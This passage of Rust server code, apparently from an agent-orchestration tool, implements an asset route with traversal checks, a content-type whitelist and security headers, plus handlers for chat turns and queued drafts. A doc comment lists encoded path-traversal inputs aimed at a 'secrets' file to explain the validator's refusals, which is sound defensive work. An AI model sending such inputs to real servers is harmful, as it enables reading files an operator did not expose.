6169/// what is worth being explicit about, because the answer is not "all of it in
6170/// one place":
6171///
6172/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6173///   the raw request path and `{name}` spans exactly one segment, so a real
6174///   slash makes the request too long for the route and the router answers 404.
6175/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6176///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6177///   `..\secrets` respectively, which look like plain filenames to the router.
6178///   The validator refuses them here - both for the literal `..` and because
6179///   `/` and `\` are not in the permitted character set - and answers 400.
6180/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6181///   the platform's path API is not, and it is refused here for the same
6182///   reason: NUL is not a permitted character.
6183/// * [`Questions::panel_asset`] validates again on read, so the check is not
6184///   load-bearing in only one place. This route's own check exists so the
6185///   failure is a 400 that says which name was wrong, rather than a store error
6186///   the operator has to interpret.
6187async fn question_asset(
6188    State(ui): State<Arc<Ui>>,
6189    Path((id, name)): Path<(String, String)>,
6190) -> ApiResult<Response> {
6191    // Before any filesystem work and before any path is built: a name this
6192    // server will not serve should not become a `PathBuf` at all.
6193    if !crate::ask::valid_asset_name(&name) {
6194        return Err(ApiError::bad_request(format!(
6195            "`{name}` is not a usable asset name"
6196        )));
6197    }
6198    blocking(move || {
6199        let id = resolve_question(&ui.questions, &id)?;
6200        let asset = ui
6201            .questions
6202            .panel_asset(&id, &name)
6203            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6204        let Some(bytes) = asset else {
6205            return Err(ApiError::not_found(format!(
6206                "question {id} has no asset `{name}`"
6207            )));
6208        };
6209        Ok(panel_response(
6210            asset_content_type(&name),
6211            is_svg(&name),
6212            bytes,
6213        ))
6214    })
6215    .await
6216}
6217
6218/// Content type for a panel asset, from a closed whitelist.
6219///
6220/// A whitelist with an `application/octet-stream` fallback rather than a
6221/// guess, because the one answer that must never come out of here is
6222/// `text/html`. An agent that writes `notes.html` into its panel directory and
6223/// links it would otherwise get its own markup rendered at the top level of the
6224/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6225/// magi's origin - which is precisely the thing the panel design exists to
6226/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6227///
6228/// `nosniff` accompanies this on every response, so a browser cannot decide it
6229/// knows better than the type we sent.
6230fn asset_content_type(name: &str) -> &'static str {
6231    match extension(name).as_deref() {
6232        Some("png") => "image/png",
6233        Some("jpg" | "jpeg") => "image/jpeg",
6234        Some("gif") => "image/gif",
6235        Some("webp") => "image/webp",
6236        Some("svg") => "image/svg+xml",
6237        Some("css") => "text/css; charset=utf-8",
6238        Some("txt") => "text/plain; charset=utf-8",
6239        _ => "application/octet-stream",
6240    }
6241}
6242
6243/// Is this an SVG, and therefore a file that must never be opened at the top
6244/// level?
6245fn is_svg(name: &str) -> bool {
6246    extension(name).as_deref() == Some("svg")
6247}
6248
6249/// Lowercased extension, or `None` for a name without one.
6250fn extension(name: &str) -> Option<String> {
6251    name.rsplit_once('.')
6252        .map(|(_, ext)| ext.to_ascii_lowercase())
6253}
6254
6255/// Every panel response, with the four headers that make it safe and, for an
6256/// SVG, a fifth.
6257///
6258/// One function rather than a header list per handler, because a panel route
6259/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6260/// model gone, silently, on one of two routes. Adding a third panel route later
6261/// means calling this, and there is nowhere else to build a panel response.
6262///
6263/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6264/// as an `<img src>` inside the panel that script cannot run - but the asset
6265/// URL is also a plain URL an operator can be talked into opening in a tab,
6266/// where it is a document on magi's own origin. `Content-Disposition:
6267/// attachment` makes the browser download it instead of rendering it, which
6268/// closes that door without taking away the ability to draw a diff. Raster
6269/// images have no such execution surface and are left inline, so tapping a
6270/// screenshot still shows it.
6271fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6272    let mut res = (
6273        [
6274            (header::CONTENT_TYPE, content_type),
6275            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6276            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6277            (header::REFERRER_POLICY, "no-referrer"),
6278        ],
6279        body,
6280    )
6281        .into_response();
6282    if download {
6283        res.headers_mut().insert(
6284            header::CONTENT_DISPOSITION,
6285            HeaderValue::from_static("attachment"),
6286        );
6287    }
6288    res
6289}
6290
6291/// A talk as the phone reads it.
6292///
6293/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6294/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6295/// parses markdown itself - and the process-local `thinking` hint.
6296#[derive(Debug, Serialize)]
6297struct TalkView {
6298    #[serde(flatten)]
6299    talk: Talk,
6300    turn_bodies_md: Vec<Vec<md::Node>>,
6301    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6302    /// this server process.
6303    ///
6304    /// This is deliberately not durable: another server process cannot see
6305    /// it, and a restarted server must not claim an old turn is live. It is a
6306    /// progress hint rather than proof a reply landed; the transcript remains
6307    /// the source of truth for that.
6308    thinking: bool,
6309    /// Context-window usage, derived per request - see
6310    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6311    /// and each mutation) so the phone needs no extra call or polling.
6312    context: talk::ContextUsage,
6313    /// `[talk] operator_name`, when configured; the Chat labels the
6314    /// operator's turns with it.
6315    operator_name: Option<String>,
6316    /// The active persona's display name; `None` for the default voice.
6317    persona_name: Option<String>,
6318}
6319
6320impl TalkView {
6321    /// Reads the talk's repository config itself; a config that cannot be
6322    /// read leaves the window unknown but never fails the conversation.
6323    fn new(talk: Talk, thinking: bool) -> Self {
6324        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6325        Self::with_config(talk, thinking, cfg.as_ref())
6326    }
6327
6328    /// As [`Self::new`], with the config already in hand (the list reads one
6329    /// per repository, not one per conversation).
6330    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6331        let context = talk::context_usage(&talk, cfg);
6332        let turn_bodies_md = talk
6333            .turns
6334            .iter()
6335            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6336            .collect();
6337        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6338        let persona_name = persona::find(specs, &talk.persona)
6339            .filter(|p| !p.is_default())
6340            .map(|p| p.name);
6341        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6342        Self {
6343            turn_bodies_md,
6344            thinking,
6345            context,
6346            operator_name,
6347            persona_name,
6348            talk,
6349        }
6350    }
6351}
6352
6353/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6354/// conversation has filed, so the phone can follow one from inside the
6355/// conversation that asked for it rather than hunting the Queue for a task id
6356/// it may not remember.
6357#[derive(Debug, Serialize)]
6358struct TalkDetailView {
6359    #[serde(flatten)]
6360    view: TalkView,
6361    tasks: Vec<TaskView>,
6362    /// The agents this talk's repository can switch to; empty when its
6363    /// configuration cannot be read, which must not fail the whole detail.
6364    roster: Vec<RosterEntry>,
6365    /// The personas the conversation can pick from. The built-ins are always
6366    /// listed, even when the repository's configuration cannot be read.
6367    personas: Vec<PersonaEntry>,
6368}
6369
6370/// One persona as the talk's persona selector shows it.
6371#[derive(Debug, Serialize)]
6372struct PersonaEntry {
6373    id: String,
6374    name: String,
6375}
6376
6377/// One roster agent as the talk's agent selector shows it.
6378#[derive(Debug, Serialize)]
6379struct RosterEntry {
6380    id: String,
6381    kind: AgentKind,
6382    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6383    runnable: bool,
6384}
6385
6386/// `GET /api/talks`.
6387///
6388/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6389/// own order.
6390async fn talks_list(
6391    State(ui): State<Arc<Ui>>,
6392    Query(q): Query<ListQuery>,
6393) -> ApiResult<Json<Vec<TalkView>>> {
6394    blocking(move || {
6395        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6396        Ok(Json(
6397            ui.talks
6398                .list()
6399                .into_iter()
6400                .filter(|talk| q.contains(&talk.id))
6401                .map(|talk| {
6402                    let thinking = ui.is_thinking(&talk.id);
6403                    let cfg = configs
6404                        .entry(talk.repo.clone())
6405                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6406                    TalkView::with_config(talk, thinking, cfg.as_ref())
6407                })
6408                .collect(),
6409        ))
6410    })
6411    .await
6412}
6413
6414/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6415/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6416/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6417/// end still opens a talk against an older binary.
6418#[derive(Debug, Default, Deserialize)]
6419#[serde(default)]
6420struct NewTalk {
6421    agent: Option<String>,
6422    repo: Option<PathBuf>,
6423}
6424
6425/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6426/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6427async fn talk_post(
6428    State(ui): State<Arc<Ui>>,
6429    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6430) -> ApiResult<impl IntoResponse> {
6431    // An absent body, or an empty one, is the normal way to open a talk - see
6432    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6433    // rather than refused.
6434    let body = match body {
6435        Ok(Json(body)) => body,
6436        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6437        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6438    };
6439    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6440    let cfg = config_for(&repo).await?;
6441    let view = blocking(move || {
6442        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6443        let thinking = ui.is_thinking(&talk.id);
6444        Ok(TalkView::new(talk, thinking))
6445    })
6446    .await?;
6447    Ok((StatusCode::CREATED, Json(view)))
6448}
6449
6450/// `GET /api/talks/{id}`.
6451async fn talk_detail(
6452    State(ui): State<Arc<Ui>>,
6453    Path(id): Path<String>,
6454) -> ApiResult<Json<TalkDetailView>> {
6455    blocking(move || {
6456        let id = resolve_talk(&ui.talks, &id)?;
6457        let talk = ui.talks.get(&id)?;
6458        let thinking = ui.is_thinking(&talk.id);
6459        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6460            .into_iter()
6461            .map(TaskView::from)
6462            .collect();
6463        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6464        let roster = cfg
6465            .as_ref()
6466            .map(|cfg| {
6467                cfg.agents
6468                    .iter()
6469                    .map(|a| RosterEntry {
6470                        id: a.id.clone(),
6471                        kind: a.kind,
6472                        runnable: agent::installed(a),
6473                    })
6474                    .collect()
6475            })
6476            .unwrap_or_default();
6477        let specs = cfg
6478            .as_ref()
6479            .map(|cfg| cfg.talk.personas.clone())
6480            .unwrap_or_default();
6481        let personas = persona::catalog(&specs)
6482            .into_iter()
6483            .map(|p| PersonaEntry {
6484                id: p.id,
6485                name: p.name,
6486            })
6487            .collect();
6488        Ok(Json(TalkDetailView {
6489            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6490            tasks,
6491            roster,
6492            personas,
6493        }))
6494    })
6495    .await
6496}
6497
6498/// The body of `POST /api/talks/{id}/say`.
6499///
6500/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6501/// returned - never bytes of its own - so a turn with no images just omits
6502/// the field, which is what an older front end still does.
6503#[derive(Debug, Default, Deserialize)]
6504#[serde(default, deny_unknown_fields)]
6505struct NewTalkTurn {
6506    text: String,
6507    attachments: Vec<String>,
6508}
6509
6510#[derive(Debug, Deserialize)]
6511#[serde(deny_unknown_fields)]
6512struct EditTalkPending {
6513    text: String,
6514    expected_text: String,
6515    expected_attachments: Vec<String>,
6516}
6517
6518#[derive(Debug, Deserialize)]
6519#[serde(deny_unknown_fields)]
6520struct ClearTalkPending {
6521    expected_text: String,
6522    expected_attachments: Vec<String>,
6523}
6524
6525/// `POST /api/talks/{id}/say` - one turn of the conversation.
6526///
6527/// Not filesystem work, and therefore not routed through [`blocking`]: this
6528/// route spawns an agent CLI and a turn here can run for the whole of
6529/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6530/// research turn is expected to run commands rather than answer from what it
6531/// already knows. Holding an HTTP connection open that long is not a thing
6532/// to ask a phone to do; the operator's message is recorded and answered for
6533/// immediately, and the reply lands in the background, discovered through
6534/// the change stream's `talks_rev` the same way every other update on this
6535/// surface is.
6536async fn talk_say(
6537    State(ui): State<Arc<Ui>>,
6538    Path(id): Path<String>,
6539    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6540) -> ApiResult<(StatusCode, Json<TalkView>)> {
6541    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6542    if body.text.trim().is_empty() && body.attachments.is_empty() {
6543        return Err(ApiError::bad_request("say something"));
6544    }
6545
6546    let id = {
6547        let ui = Arc::clone(&ui);
6548        let asked = id.clone();
6549        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6550    };
6551    // A closed Talk never accepts a new immediate or queued turn. Check this
6552    // before claiming a slot so its ordinary domain refusal is a 409, not an
6553    // incidental failure from the later record/queue write.
6554    {
6555        let ui = Arc::clone(&ui);
6556        let id = id.clone();
6557        blocking(move || {
6558            let talk = ui.talks.get(&id)?;
6559            if !talk.status.open() {
6560                return Err(ApiError::conflict(format!(
6561                    "talk {} is {} and takes no more turns",
6562                    talk.short(),
6563                    talk.status.as_str()
6564                )));
6565            }
6566            Ok(())
6567        })
6568        .await?;
6569    }
6570
6571    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6572    // actually stores, before anything is written - an unknown id is a 4xx
6573    // that names it rather than a turn (or a queued draft) silently missing
6574    // an image.
6575    let attachments = {
6576        let ui = Arc::clone(&ui);
6577        let id = id.clone();
6578        let ids = body.attachments.clone();
6579        blocking(move || {
6580            ids.into_iter()
6581                .map(|att_id| {
6582                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6583                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6584                    })
6585                })
6586                .collect::<ApiResult<Vec<talk::Attachment>>>()
6587        })
6588        .await?
6589    };
6590
6591    // Pending recovery and a new immediate turn are decided under the same
6592    // claim lock. Without that one critical section, a second `/say` can see
6593    // the first request's claim as "busy" and append itself to the recovered
6594    // draft before the first request rejects it.
6595    let start = {
6596        let ui = Arc::clone(&ui);
6597        let id = id.clone();
6598        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6599    };
6600    let turn_guard = match start {
6601        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6602        TalkTurnStart::Pending => {
6603            return Err(ApiError::conflict(
6604                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6605            ));
6606        }
6607        TalkTurnStart::Foreign => {
6608            return Err(ApiError::conflict(
6609                "a turn is already running in another process; try again when it has finished",
6610            ));
6611        }
6612        TalkTurnStart::Busy => {
6613            // A turn is already running: queue rather than refuse. See
6614            // `Ui::begin_talk_turn` and `talk::queue`.
6615            //
6616            // The queue write and the drain it may owe live inside the task
6617            // `tokio::spawn` hands to the runtime, for the same reason the
6618            // immediate path below puts `record` there: a dropped handler
6619            // future must not be able to land between a durable write and
6620            // the task that answers it. `blocking` runs its closure on
6621            // `spawn_blocking`, which finishes whether or not anyone is left
6622            // to receive its result - so a disconnect at the `.await` below
6623            // would otherwise leave the draft persisted and the reclaimed
6624            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6625            // ever started and the queued text stranded until some later
6626            // `say` happened to pick it up. The caller's 202 travels back
6627            // over a `oneshot`, sent the moment the write lands.
6628            let (tx, rx) = tokio::sync::oneshot::channel();
6629            tokio::spawn({
6630                let ui = Arc::clone(&ui);
6631                let id = id.clone();
6632                let said = body.text.clone();
6633                async move {
6634                    let written = blocking({
6635                        let ui = Arc::clone(&ui);
6636                        let id = id.clone();
6637                        move || {
6638                            let mut talk = ui.talks.get(&id)?;
6639                            // A test-only stop point, right before the write
6640                            // an interleaving test needs to pin - see
6641                            // `BusyQueueGate`. `None` in every real server:
6642                            // the field only exists under `#[cfg(test)]`.
6643                            #[cfg(test)]
6644                            if let Some(gate) = ui
6645                                .busy_queue_gate
6646                                .lock()
6647                                .unwrap_or_else(PoisonError::into_inner)
6648                                .take()
6649                            {
6650                                let _ = gate.reached.send(());
6651                                let _ = gate.release.recv();
6652                            }
6653                            if let Err(error) =
6654                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6655                            {
6656                                if let Ok(fresh) = ui.talks.get(&id) {
6657                                    if !fresh.status.open() {
6658                                        return Err(ApiError::conflict(format!(
6659                                            "talk {} is {} and takes no more turns",
6660                                            fresh.short(),
6661                                            fresh.status.as_str()
6662                                        )));
6663                                    }
6664                                }
6665                                return Err(ApiError::from(error));
6666                            }
6667                            // The turn that looked busy a moment ago can have
6668                            // finished, found nothing to drain and given up the
6669                            // slot in the gap between that check and this write
6670                            // landing - see `drain_loop`'s own doc for the other
6671                            // half of why that gap would otherwise be able to
6672                            // open at all. Reclaiming the slot here, rather than
6673                            // trusting that whoever held it is still watching, is
6674                            // what stops the text just queued from being stranded
6675                            // until an unrelated future `say` happens to drain
6676                            // it.
6677                            let claim = match ui.begin_queued_talk_turn(&id)? {
6678                                Some(turn_guard) => {
6679                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6680                                    Some((talk.clone(), cfg, turn_guard))
6681                                }
6682                                None => None,
6683                            };
6684                            let thinking = ui.is_thinking(&id);
6685                            Ok((TalkView::new(talk, thinking), claim))
6686                        }
6687                    })
6688                    .await;
6689                    let (view, reclaimed) = match written {
6690                        Ok(pair) => pair,
6691                        Err(e) => {
6692                            // Nobody is listening if the handler's own future
6693                            // was already dropped - that is fine, nothing was
6694                            // persisted and there is no response left to carry
6695                            // this error to.
6696                            let _ = tx.send(Err(e));
6697                            return;
6698                        }
6699                    };
6700                    // If this fails, the caller is gone; the drain below still
6701                    // runs exactly as it would have for a caller that stayed.
6702                    let _ = tx.send(Ok(view));
6703                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6704                        let talks = ui.talks.clone();
6705                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6706                    }
6707                }
6708            });
6709            let view = rx
6710                .await
6711                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6712            return Ok((StatusCode::ACCEPTED, Json(view)));
6713        }
6714    };
6715
6716    let (talk, cfg) = {
6717        let ui = Arc::clone(&ui);
6718        let id = id.clone();
6719        blocking(move || {
6720            let talk = ui.talks.get(&id)?;
6721            let (cfg, _) = Config::discover(&talk.repo, None)?;
6722            Ok((talk, cfg))
6723        })
6724        .await?
6725    };
6726
6727    let talks = ui.talks.clone();
6728    // `record` runs *inside* the spawned task, rather than in this handler
6729    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6730    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6731    // doc), and that drop can land at any `.await` this function makes,
6732    // including one that has already produced its result but not yet
6733    // resumed. A message could end up recorded on disk with the handler
6734    // future gone before it ever reached the `tokio::spawn` that would have
6735    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6736    // that hands the whole future to the runtime as one unit - once made, no
6737    // later drop of *this* handler's own future (that call's return value is
6738    // never held onto here) can reach back in and stop it, so record and the
6739    // hand-off to `respond` are unconditionally atomic from the client's
6740    // point of view. The immediate response this handler owes the caller
6741    // travels back over a `oneshot`, sent the moment `record` succeeds.
6742    let (tx, rx) = tokio::sync::oneshot::channel();
6743    tokio::spawn({
6744        let ui = Arc::clone(&ui);
6745        let talks = talks.clone();
6746        let id = id.clone();
6747        let said = body.text.clone();
6748        let mut talk = talk.clone();
6749        async move {
6750            let recorded = blocking({
6751                let talks = talks.clone();
6752                move || {
6753                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6754                        if let Ok(fresh) = talks.get(&talk.id) {
6755                            if !fresh.status.open() {
6756                                return Err(ApiError::conflict(format!(
6757                                    "talk {} is {} and takes no more turns",
6758                                    fresh.short(),
6759                                    fresh.status.as_str()
6760                                )));
6761                            }
6762                        }
6763                        return Err(ApiError::from(error));
6764                    }
6765                    // `record` mutates `talk` in place to the freshly persisted
6766                    // state (status, pending, and the just-appended operator
6767                    // turn), so returning it here is equivalent to re-reading it
6768                    // from disk - without the extra round trip a re-read would
6769                    // need.
6770                    Ok((said.trim().to_owned(), talk))
6771                }
6772            })
6773            .await;
6774            let (text, mut talk) = match recorded {
6775                Ok(pair) => pair,
6776                Err(e) => {
6777                    // Nobody is listening if the handler's own future was
6778                    // already dropped - that is fine, there is no response
6779                    // left to carry this error to and nothing was persisted.
6780                    let _ = tx.send(Err(e));
6781                    return;
6782                }
6783            };
6784            let queued = talk.clone();
6785            let thinking = ui.is_thinking(&id);
6786            // If this fails, the caller is gone; the turn still runs below
6787            // exactly as it would have for a caller that stayed connected.
6788            let _ = tx.send(Ok((queued, thinking)));
6789
6790            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6791                // `respond` records the failure in the transcript itself,
6792                // which is what the phone reads; this line is for the
6793                // operator's terminal.
6794                tracing::warn!("talk {id} turn failed: {e:#}");
6795            }
6796            // Anything `talk::queue` added while the turn above was running
6797            // is still owed an answer - see `drain_loop`.
6798            drain_loop(talk, talks, cfg, id, turn_guard).await;
6799        }
6800    });
6801
6802    let (queued, thinking) = rx
6803        .await
6804        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6805
6806    // 202: the operator's message is recorded and a turn is running.
6807    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6808}
6809
6810/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6811/// changing it. The turn guard is the same per-talk ownership `talk_say`
6812/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6813async fn talk_pending_resume(
6814    State(ui): State<Arc<Ui>>,
6815    Path(id): Path<String>,
6816) -> ApiResult<(StatusCode, Json<TalkView>)> {
6817    let id = {
6818        let ui = Arc::clone(&ui);
6819        let asked = id.clone();
6820        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6821    };
6822    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6823        return Err(ApiError::conflict(
6824            "a talk turn is already running; the queued draft will be handled by it",
6825        ));
6826    };
6827    let (talk, cfg) = {
6828        let ui = Arc::clone(&ui);
6829        let id = id.clone();
6830        blocking(move || {
6831            let talk = ui.talks.get(&id)?;
6832            if !talk.status.open() {
6833                return Err(ApiError::conflict(format!(
6834                    "talk {} is {} and takes no more turns",
6835                    talk.short(),
6836                    talk.status.as_str()
6837                )));
6838            }
6839            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6840                return Err(ApiError::conflict("there is no queued draft to resume"));
6841            }
6842            let (cfg, _) = Config::discover(&talk.repo, None)?;
6843            Ok((talk, cfg))
6844        })
6845        .await?
6846    };
6847    let view = TalkView::new(talk.clone(), true);
6848    let talks = ui.talks.clone();
6849    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6850    Ok((StatusCode::ACCEPTED, Json(view)))
6851}
6852
6853/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6854/// releasing `turn` only once a check finds it truly empty. Shared by both
6855/// callers that can end up owning a talk's turn slot with something already
6856/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6857/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6858/// holder just gave up - see the comment at that call site.
6859///
6860/// The release is folded into the final generation check under `turn`'s own
6861/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6862/// free". Before its blocking `talk::drain`, this loop observes the queued
6863/// generation. A `say` that sees the turn busy writes its draft, then advances
6864/// that generation. Thus, if it lands while the drain is in flight, the final
6865/// check observes the advance and drains again; otherwise it releases the
6866/// claim while holding the same lock. This keeps the release/arrival handoff
6867/// atomic without holding the global claim mutex across filesystem I/O.
6868async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6869    let live_set = Arc::clone(&turn.turns);
6870    // `Option` rather than binding `turn` directly to a `_turn` that lives
6871    // for the whole function: releasing it has to happen by calling
6872    // `TalkTurnGuard::release` from inside the locked branch below, which
6873    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6874    // remove the id - correctly, if this loop is ever left some other way -
6875    // but doing it there misses the lock this loop is already holding, which
6876    // is the exact gap `release` exists to close.
6877    let mut turn = Some(turn);
6878    loop {
6879        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6880            // The lease was taken over while a turn ran. Whatever is queued
6881            // stays a draft; running it here would race the new owner.
6882            tracing::warn!("talk {id} lost its turn lease; not draining further");
6883            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6884            if let Some(turn) = turn.take() {
6885                turn.release(&mut live);
6886            }
6887            break;
6888        }
6889        {
6890            // A parking upgrade starts no further turn: whatever is queued
6891            // stays a durable draft for the successor.
6892            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6893            if live.parking {
6894                if let Some(turn) = turn.take() {
6895                    turn.release(&mut live);
6896                }
6897                break;
6898            }
6899        }
6900        // `talk::drain` takes the store lock and can write/rename the talk
6901        // file. Keep the turn mutex out of that synchronous work: it protects
6902        // every talk's in-memory claim, not this talk's disk operation.
6903        let observed = live_set
6904            .lock()
6905            .unwrap_or_else(PoisonError::into_inner)
6906            .queued
6907            .get(&id)
6908            .copied()
6909            .unwrap_or(0);
6910        let drained = blocking({
6911            let talks = talks.clone();
6912            let live_set = Arc::clone(&live_set);
6913            move || {
6914                // Promoting a draft is what starts a turn, so it is decided
6915                // under the same lock a parking upgrade takes: either the
6916                // promotion lands first (and its turn is waited for) or the
6917                // draft stays queued.
6918                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6919                let result = if live.parking {
6920                    Ok(None)
6921                } else {
6922                    talk::drain(&mut talk, &talks)
6923                };
6924                drop(live);
6925                Ok((talk, result))
6926            }
6927        })
6928        .await;
6929        let (next_talk, result) = match drained {
6930            Ok(drained) => drained,
6931            Err(e) => {
6932                tracing::warn!(
6933                    status = %e.status,
6934                    message = %e.message,
6935                    "talk {id} could not start queued-text drain"
6936                );
6937                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6938                turn.take()
6939                    .expect("held for the whole loop until released here")
6940                    .release(&mut live);
6941                break;
6942            }
6943        };
6944        talk = next_talk;
6945        let drained = match result {
6946            Ok(Some(drained)) => drained,
6947            Ok(None) => {
6948                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6949                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6950                    continue;
6951                }
6952                turn.take()
6953                    .expect("held for the whole loop until released here")
6954                    .release(&mut live);
6955                break;
6956            }
6957            Err(e) => {
6958                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6959                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6960                turn.take()
6961                    .expect("held for the whole loop until released here")
6962                    .release(&mut live);
6963                break;
6964            }
6965        };
6966        let responded = match turn.as_ref() {
6967            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6968            None => Err(anyhow::anyhow!("the turn guard was released")),
6969        };
6970        if let Err(e) = responded {
6971            tracing::warn!("talk {id} turn failed: {e:#}");
6972        }
6973    }
6974}
6975
6976/// Clear a queued draft only if it remains exactly the one the caller saw.
6977async fn talk_pending_clear(
6978    State(ui): State<Arc<Ui>>,
6979    Path(id): Path<String>,
6980    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6981) -> ApiResult<Json<TalkView>> {
6982    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6983    blocking(move || {
6984        let id = resolve_talk(&ui.talks, &id)?;
6985        let mut talk = ui.talks.get(&id)?;
6986        if !talk.status.open() {
6987            return Err(ApiError::conflict(format!(
6988                "talk {} is {} and takes no more turns",
6989                talk.short(),
6990                talk.status.as_str()
6991            )));
6992        }
6993        if !talk::clear_pending_if_matches(
6994            &mut talk,
6995            &ui.talks,
6996            &body.expected_text,
6997            &body.expected_attachments,
6998        )? {
6999            return Err(ApiError::conflict(
7000                "queued message changed; reload it before clearing",
7001            ));
7002        }
7003        let thinking = ui.is_thinking(&talk.id);
7004        Ok(Json(TalkView::new(talk, thinking)))
7005    })
7006    .await
7007}
7008
7009/// Atomically edit a queued draft's text while preserving its attachments.
7010/// The snapshot fields make a concurrent queue or drain a conflict rather
7011/// than silently discarding either message.
7012async fn talk_pending_edit(
7013    State(ui): State<Arc<Ui>>,
7014    Path(id): Path<String>,
7015    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7016) -> ApiResult<Json<TalkView>> {
7017    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7018    let (view, reclaimed) = blocking({
7019        let ui = Arc::clone(&ui);
7020        move || {
7021            let id = resolve_talk(&ui.talks, &id)?;
7022            let mut talk = ui.talks.get(&id)?;
7023            if !talk.status.open() {
7024                return Err(ApiError::conflict(format!(
7025                    "talk {} is {} and takes no more turns",
7026                    talk.short(),
7027                    talk.status.as_str()
7028                )));
7029            }
7030            if !talk::edit_pending_text(
7031                &mut talk,
7032                &ui.talks,
7033                &body.text,
7034                &body.expected_text,
7035                &body.expected_attachments,
7036            )? {
7037                return Err(ApiError::conflict(
7038                    "queued message changed; reload it before editing",
7039                ));
7040            }
7041            let claim = match ui.begin_queued_talk_turn(&id)? {
7042                Some(turn_guard) => {
7043                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7044                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7045                }
7046                None => None,
7047            };
7048            let thinking = ui.is_thinking(&id);
7049            Ok((TalkView::new(talk, thinking), claim))
7050        }
7051    })
7052    .await?;
